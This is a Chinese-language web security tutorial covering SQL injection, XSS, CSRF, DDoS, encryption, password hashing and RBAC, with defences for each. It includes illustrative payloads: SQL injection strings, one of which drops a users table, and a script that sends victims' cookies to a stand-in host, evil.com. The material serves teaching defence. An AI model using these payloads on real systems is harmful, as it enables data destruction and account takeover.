网络安全
开篇:Web 安全的攻防战
互联网的世界并不太平。你写的每一行代码,都可能成为攻击者的突破口。SQL 注入可以让黑客拖走你的整个数据库,XSS 可以让用户的 Cookie 被偷走,CSRF 可以让用户在不知情的情况下转走自己的钱,DDoS 可以让你的服务器直接瘫痪。
好消息是,大多数攻击都有成熟的防御手段。这篇文章我们来学习最常见的 Web 攻击方式以及对应的防御策略,再聊聊加密算法的基础知识。知道怎么被攻击,才能知道怎么防御。
一、SQL 注入
1.1 攻击原理
SQL 注入是最经典的 Web 攻击之一。它的原理简单到令人发指:攻击者在用户输入中插入恶意 SQL 代码,让数据库执行非预期的查询。
假设你有一个登录系统,后端代码是这样拼 SQL 的:
String query = "SELECT * FROM users WHERE username='"
+ userInputUsername + "' AND password='"
+ userInputPassword + "'";正常用户输入 username=admin, password=123456,SQL 变成:
SELECT * FROM users WHERE username='admin' AND password='123456'没问题,一切正常。但如果攻击者在用户名里输入 ' OR '1'='1' --:
SELECT * FROM users WHERE username='' OR '1'='1' --' AND password=''-- 在 SQL 中是注释符,后面的内容全部失效。'1'='1' 永远为 true,这条 SQL 会返回用户表中的所有记录。攻击者不需要知道任何密码,就能登录成功。
更可怕的是,如果攻击者输入 '; DROP TABLE users; --:
SELECT * FROM users WHERE username=''; DROP TABLE users; --'你的用户表就被删了。这不是玩笑,历史上真的有公司因为 SQL 注入被拖库、被删库。
1.2 防御手段
第一道防线:使用预编译语句(Prepared Statement)
这是最有效也是最基本的防御手段。预编译语句把 SQL 模板和用户输入严格分开:SQL 模板先编译好,用户输入只是作为参数数据填入占位符,永远不会被当作 SQL 代码执行。
// 错误写法:字符串拼接,有 SQL 注入风险
String query = "SELECT * FROM users WHERE username='" + userInput + "'";
// 正确写法:预编译语句,安全
String query = "SELECT * FROM users WHERE username=?";
PreparedStatement ps = connection.prepareStatement(query);
ps.setString(1, userInput);
ResultSet rs = ps.executeQuery();不管用户输入什么,都只会被当作字符串参数处理。哪怕输入了 '; DROP TABLE users; --,数据库也只是去查找用户名为这一整串字符的记录,不会执行 DROP 语句。
预编译之所以能防注入,是因为 SQL 的结构在编译阶段就已经固定了,用户输入只能填充参数位置,无法改变 SQL 的语法结构。
第二道防线:使用 ORM 框架
Hibernate、MyBatis 等 ORM 框架会自动处理 SQL 查询,减少手动拼接 SQL 的机会。但使用 MyBatis 时要注意:优先使用 #{} 而不是 ${}。#{} 会进行预编译,${} 是直接拼接字符串,和手写字符串拼接一样危险。
第三道防线:用户输入校验
永远不要信任用户的输入。对输入进行白名单校验(只允许预期的字符),而不是黑名单过滤(试图过滤掉所有危险字符,很容易被绕过)。
// 使用正则表达式验证用户名只包含字母和数字
if (userInput.matches("^[a-zA-Z0-9]+$")) {
// 合法输入,继续处理
} else {
// 非法输入,拒绝
}其他防线:
- 最小权限原则:数据库用户只授予必要的权限。即使被注入了,攻击者也无法执行 DROP、DELETE 等高危操作
- 错误信息脱敏:不要把数据库错误信息直接返回给前端,应该封装成通用的错误码。否则攻击者可以通过错误信息推断数据库结构
二、XSS 跨站脚本攻击
2.1 攻击原理
XSS(Cross-Site Scripting)的核心原理是:攻击者往 Web 页面中注入恶意的 HTML/JavaScript 代码,当其他用户浏览该页面时,注入的代码会在用户浏览器中执行。
举个例子,假设有一个论坛,用户可以发帖。如果用户发布的内容不经过任何过滤就直接插入到页面 HTML 中,攻击者就可以发一个"帖子",内容是:
<script>
// 偷走用户的 Cookie 并发送到攻击者的服务器
document.location = 'http://evil.com/steal?cookie=' + document.cookie;
</script>当其他用户打开这个帖子时,这段 JavaScript 就会在他们的浏览器中执行,把他们的 Cookie(包含登录凭证)发送到攻击者的服务器。攻击者拿到 Cookie 后就可以冒充这些用户登录。
2.2 XSS 的三种类型
反射型 XSS:恶意代码包含在 URL 中,服务器把 URL 中的参数直接返回到页面。攻击者构造一个恶意链接发给受害者,受害者点击后就中招了。
存储型 XSS:恶意代码被存储到服务器数据库中(如论坛帖子、评论),每个访问该页面的用户都会受影响。危害面更大。
DOM 型 XSS:恶意代码不经过服务器,直接通过 JavaScript 操作 DOM 在客户端执行。
2.3 防御手段
XSS 防御的核心原则只有一句话:永远不要信任用户的输入,对输出进行转义。
- HTML 转义:将用户输入中的特殊字符转义后再输出。
<转成<,>转成>,"转成",'转成'等。这样即使输入了<script>,到页面上也只是文本,不会被执行 - CSP(内容安全策略):通过 HTTP 头部的
Content-Security-Policy限制页面可以加载的资源来源,禁止内联脚本执行 - HttpOnly Cookie:设置 Cookie 的 HttpOnly 属性后,JavaScript 无法通过
document.cookie读取 Cookie,即使 XSS 攻击成功也偷不到 Cookie - 输入长度限制:限制用户输入的长度,增加攻击者注入代码的难度
三、CSRF 跨站请求伪造
3.1 攻击原理
CSRF(Cross-Site Request Forgery)的原理是:攻击者诱导已登录用户在不知情的情况下,向目标网站发送恶意请求。
攻击条件:
- 用户登录了受信任网站 A,浏览器保存了 A 的 Cookie
- 用户在不登出 A 的情况下,访问了恶意网站 B
- 网站 B 中包含一个向 A 发送请求的恶意代码(如隐藏的表单自动提交)
因为浏览器会自动携带 A 的 Cookie,所以 A 的服务器会认为这是用户的合法请求。攻击者就可以借用户之手执行转账、修改密码等操作。
举例来说:你登录了网上银行,然后不小心打开了一个恶意网页。这个网页上有一段隐藏代码自动向银行发送一个转账请求。由于你的浏览器自动带上了银行的 Cookie,银行服务器以为是你本人在操作,就执行了转账。
你可能会说"我怎么可能在银行没退出的情况下去开别的网页?"但实际上:
- 你不能保证不会在多个 Tab 之间切换
- 关闭浏览器 Tab 不等于退出登录(Cookie 可能还没过期)
- 恶意链接可能伪装在正常网站的评论区或邮件中
3.2 防御手段
方法一:CSRF Token(最常用)
核心思想是在请求中放入一个攻击者无法获取的随机令牌。
- 用户登录后,服务端生成一个随机的 CSRF Token,存入 Session
- 在表单中添加一个隐藏字段
<input type="hidden" name="csrf_token" value="xxx"> - 用户提交请求时带上这个 Token,服务端验证 Token 是否正确
攻击者虽然能利用用户的 Cookie,但无法获取到页面中的 CSRF Token,所以伪造的请求会被服务端拒绝。
方法二:验证 HTTP Referer
检查请求头中的 Referer 字段,确认请求来源是否为受信任的页面。但这种方法不太可靠,因为 Referer 可以被篡改或被浏览器配置为不发送。
方法三:SameSite Cookie
设置 Cookie 的 SameSite 属性为 Strict 或 Lax,让浏览器在跨站请求时不自动携带 Cookie。这是现代浏览器推荐的 CSRF 防御方式。
四、DDoS 攻击
4.1 从 DoS 到 DDoS
DoS(拒绝服务) 就像一个恶霸跑到你的店里,假装是客人,不停地问这问那、东拉西扯,占用店员的时间,导致真正的顾客没人服务。它利用合理的请求来消耗服务器资源,让正常用户无法得到服务。
DDoS(分布式拒绝服务) 是 DoS 的升级版。恶霸不再一个人来了,而是纠集了一大群人("肉鸡",即被控制的电脑),同时涌入你的店里。每个人看起来都像正常客人,你根本分不清谁是恶霸派来的。
DDoS 攻击的特点是:攻击流量来自大量不同的 IP 地址,难以通过简单的封锁手段防御。
4.2 DDoS 的两种形式
- 带宽消耗型:用大量无用流量塞满网络带宽,正常请求进不来
- 资源消耗型:占满服务器的 CPU、内存、连接数等资源,服务器无法处理正常请求
4.3 DDoS 的危害
- 服务器上出现大量等待中的 TCP 连接
- 网络充斥大量无用数据包
- 网站无法正常访问
- 严重时导致服务器死机
4.4 防御手段
没有任何方法可以完全防止 DDoS 攻击,只能尽可能提高攻击成本、降低攻击影响:
- 识别并封锁攻击源 IP:通过防火墙 ACL(访问控制列表)阻断可疑 IP
- 增加带宽:最直接的方式,但成本高
- 负载均衡 + 多地部署:分散流量压力
- 使用 CDN:CDN 可以吸收大量攻击流量,保护源站
- 使用云防护服务:如 Cloudflare、阿里云 DDoS 防护等,专业的 DDoS 清洗服务
- 流量监控和预警:实时监控流量变化,异常时自动触发防护策略
- 防止 DNS 放大攻击:使用高性能 DNS 设备
- 启用路由器/防火墙的反 IP 欺骗功能
核心思路:不断提高攻击者的攻击成本,让攻击变得不划算。
五、加密算法
加密算法是网络安全的基石。主要分为三大类:对称加密、非对称加密、哈希算法。
5.1 对称加密
加密和解密使用同一把密钥。速度快,适合加密大量数据,但密钥分发是个难题。
常见算法:AES(目前最主流)、DES(已淘汰)、3DES、SM4(国密)。
明文 + 密钥 → 加密 → 密文
密文 + 密钥 → 解密 → 明文5.2 非对称加密
使用一对密钥:公钥加密,私钥解密(也可以反过来用于数字签名)。解决了密钥分发问题,但速度比对称加密慢很多。
常见算法:RSA(最广泛)、ECC/ECDSA(更高效、密钥更短)、SM2(国密)。
明文 + 公钥 → 加密 → 密文
密文 + 私钥 → 解密 → 明文实际应用中,通常用非对称加密交换对称密钥,然后用对称密钥加密通信数据。HTTPS 就是这么做的。
5.3 哈希算法
严格来说不算加密算法,因为它是单向的、不可逆的。任意长度的输入,产生固定长度的输出(摘要),且无法从摘要反推出原文。
常见算法:MD5(128 位,已不安全)、SHA-256(256 位,目前主流)、SM3(国密)。
主要用途:
- 数据完整性校验(文件传输后对比哈希值)
- 密码存储(存储密码的哈希值而非明文)
- 数字签名
MD5 是加密算法吗? 不是。MD5 是消息摘要算法,单向不可逆。而且 MD5 已经不安全了——存在碰撞(两个不同的输入产生相同的哈希值)。安全性要求高的场景应该使用 SHA-256 或更强的算法。
5.4 加密 vs 加签
这两者经常一起出现但做的事情完全不同:
| 对比 | 加密/解密 | 加签/验签 |
|---|---|---|
| 目的 | 保护数据隐私性 | 保护数据完整性和来源真实性 |
| 方向 | 用公钥加密,私钥解密 | 用私钥签名,公钥验签 |
| 防范 | 防窃听 | 防篡改和冒充 |
加签的过程:发送方用自己的私钥对数据摘要(哈希值)加密,生成数字签名。接收方用发送方的公钥解密签名,对比摘要是否一致。如果一致,说明数据没被篡改且确实来自声称的发送方。
5.5 国密算法(SM 系列)
国密算法是中国国家密码管理局制定的商用密码算法标准,在金融、政务等领域有强制使用要求。
| 算法 | 类型 | 对标 | 特点 |
|---|---|---|---|
| SM2 | 非对称加密 | RSA/ECC | 基于 ECC,密钥更短但安全性高 |
| SM3 | 哈希算法 | SHA-256 | 256 位摘要,抗碰撞 |
| SM4 | 对称加密 | AES-128 | 128 位密钥,分组加密 |
| SM9 | 密钥交换 | IBE | 基于身份密码学,无需证书 |
六、常见面试题精选
6.1 中间人攻击(MITM)
中间人攻击是指攻击者插入到通信双方之间,截获并可能篡改双方的通信数据,而双方都以为自己在和对方直接通信。
攻击方式包括:
- WiFi 欺骗:创建同名虚假 WiFi 热点,用户连接后所有流量都经过攻击者
- HTTPS 欺骗:伪造 HTTPS 网站,骗取用户输入敏感信息
- DNS 欺骗:篡改 DNS 解析结果,将用户引导到伪造网站
防御:HTTPS 的证书验证机制可以有效防止中间人攻击。浏览器会验证服务器证书是否由受信任的 CA 颁发。如果证书不对,浏览器会弹出安全警告。
6.2 垂直越权与水平越权
垂直越权:普通用户通过不当手段获取了管理员权限的操作能力。根本原因是系统没有在每个操作前校验用户角色和权限。
防范:基于 RBAC(基于角色的访问控制)模型管理权限,每个接口都要校验用户角色是否有权限执行该操作。遵循最小权限原则。
水平越权:用户 A 能够访问到用户 B 的数据。比如通过修改 URL 中的 uid 参数,就能查看其他用户的订单。
防范有一个简单有效的方法:所有数据查询都要带上当前登录用户的 ID 作为条件,且这个 ID 从 Session 中获取,不信任前端传来的任何用户标识。
// 错误:uid 从前端传入,可被篡改
Order order = orderDao.findByUid(request.getParameter("uid"));
// 正确:uid 从 Session 获取,无法篡改
Long currentUserId = session.getAttribute("userId");
Order order = orderDao.findByUid(currentUserId);6.3 撞库、拖库和洗库
这三个术语描述了一条完整的数据窃取链路:
拖库:黑客通过漏洞(SQL 注入、文件上传漏洞等)入侵网站,窃取整个数据库。就像小偷入室盗窃,把保险柜里的东西全搬走了。
洗库:黑客对窃取的数据进行分类整理,提取有价值的部分(用户名、密码、手机号、身份证等),然后售卖变现。就像小偷把赃物分类后去销赃。
撞库:黑客拿着从 A 网站窃取的用户名和密码,批量尝试登录 B、C、D 等网站。因为很多用户在不同网站使用相同的密码,所以成功率不低。就像小偷偷到一串钥匙后,在整个小区挨家挨户试。
防范建议:不同网站使用不同的密码。对于网站开发者来说:密码必须加密存储(bcrypt 等),敏感数据加密,做好入侵检测和防护。
6.4 DNS 污染和 DNS 劫持的区别
| 对比 | DNS 污染 | DNS 劫持 |
|---|---|---|
| 手段 | 伪装成 DNS 服务器返回错误结果 | 控制真正的 DNS 服务器修改记录 |
| 入侵对象 | 不入侵 DNS 服务器 | 入侵或控制 DNS 服务器 |
| 利用的漏洞 | UDP 无连接不可靠的特性 | DNS 服务器的管理漏洞 |
| 常见场景 | 网络审查 | 运营商劫持插入广告 |
完全避免是不可能的,但可以通过使用可靠的 DNS 服务商、启用 DNSSEC、使用 DNS over HTTPS(DoH)、配置静态 DNS 等方式减轻影响。
小结
Web 安全的核心原则只有一条:永远不要信任用户的输入。
SQL 注入用预编译防,XSS 用输出转义防,CSRF 用 Token 防,DDoS 用多层防护体系扛。加密算法方面,对称加密保速度,非对称加密保安全,两者结合才是最佳实践。
安全不是一个功能点,而是贯穿整个系统设计和开发的思维方式。每个接口都要考虑权限校验,每个用户输入都要过滤,每个敏感数据都要加密。做到这些,绝大多数常见攻击就可以有效防范了。
附录 A:密码存储最佳实践
存储用户密码是 Web 开发中最基本也是最容易出错的安全问题。下面从最不安全到最安全,梳理几种常见方案。
A.1 明文存储(绝对禁止)
直接把用户密码以明文形式存入数据库。一旦数据库泄露,所有用户密码直接暴露。这是安全意识最低级的做法。
A.2 简单哈希(MD5/SHA)
对密码做一次 MD5 或 SHA 哈希后存储。比明文好,但仍然不安全。
问题在于:彩虹表攻击。彩虹表是一个预先计算好的"哈希值 → 原文"对照表。常见的密码(如 123456、password、admin 等)的 MD5 值早就被收录了。攻击者拿到哈希值后直接查表,几秒钟就能还原出原始密码。
A.3 加盐哈希(Salt + Hash)
在哈希之前,给密码拼接一段随机字符串(盐值)。每个用户的盐值不同。
存储时:hash(password + salt) → 保存 hash 值和 salt
验证时:hash(输入的密码 + 数据库中的salt) → 和数据库中的 hash 值比较加盐的好处:即使两个用户的密码相同,因为盐值不同,哈希值也不同。攻击者需要为每个盐值单独建一张彩虹表,代价变得不可接受。
但固定盐值仍有风险——如果盐值泄露,攻击者可以针对性地建表。所以盐值应该是随机的、每用户不同的。
A.4 专用密码哈希算法(推荐)
专为密码存储设计的算法,内置了"加盐"和"计算成本控制"两个特性:
bcrypt:基于 Blowfish 算法,可配置迭代次数。是目前最广泛使用的密码哈希算法,OpenBSD 默认使用。
// 使用 bcrypt 加密密码
String hash = BCrypt.hashpw("myPassword", BCrypt.gensalt(12));
// 验证密码
boolean matched = BCrypt.checkpw("myPassword", hash);scrypt:不仅计算耗时,还大量消耗内存,使得 GPU 暴力破解变得更加困难。
PBKDF2:将加盐哈希进行多次重复计算。次数可配置,次数越多破解越难。已被美国政府标准化。
推荐优先级:bcrypt > scrypt > PBKDF2 > 加盐 SHA-256 >> MD5/SHA-1(不推荐)。
附录 B:权限控制模型
B.1 RBAC(基于角色的访问控制)
RBAC 是最常用的权限管理模型。核心概念只有三个:用户、角色、权限。
用户 → 角色 → 权限
例如:
张三 → 管理员 → [创建用户, 删除用户, 查看报表]
李四 → 普通用户 → [查看个人信息, 修改密码]用户不直接绑定权限,而是通过角色间接获得权限。这样管理起来更方便——新增一个管理员,只需要给他分配"管理员"角色即可,不需要一条条分配权限。
关键原则:最小权限。只给用户分配完成工作所需的最低权限,不多给。权限越少,攻击面越小。
B.2 越权防范总结
| 类型 | 定义 | 防范手段 |
|---|---|---|
| 垂直越权 | 低权限用户执行了高权限操作 | 每个接口都校验角色权限 |
| 水平越权 | 用户 A 访问到了用户 B 的数据 | 查询时带上当前用户 ID 条件 |
水平越权的防范可以用一个简单的技巧:关键 ID 参数不信任前端传值,统一从 Session 获取。这样即使攻击者篡改了请求参数,查询条件中的用户 ID 也是正确的。
另外,避免使用自增 ID 作为资源标识。自增 ID 容易被猜测和遍历。可以使用 UUID、雪花算法 ID 或者对 ID 进行加密混淆。
附录 C:安全开发清单
以下是一份实用的安全开发自查清单,涵盖最常见的安全问题:
C.1 输入处理
C.2 认证与授权
C.3 数据保护
C.4 基础设施
安全不是一次性工作。威胁在不断演变,防御也需要持续跟进。但只要把上面这些基本功做好,就能抵挡绝大多数常见攻击。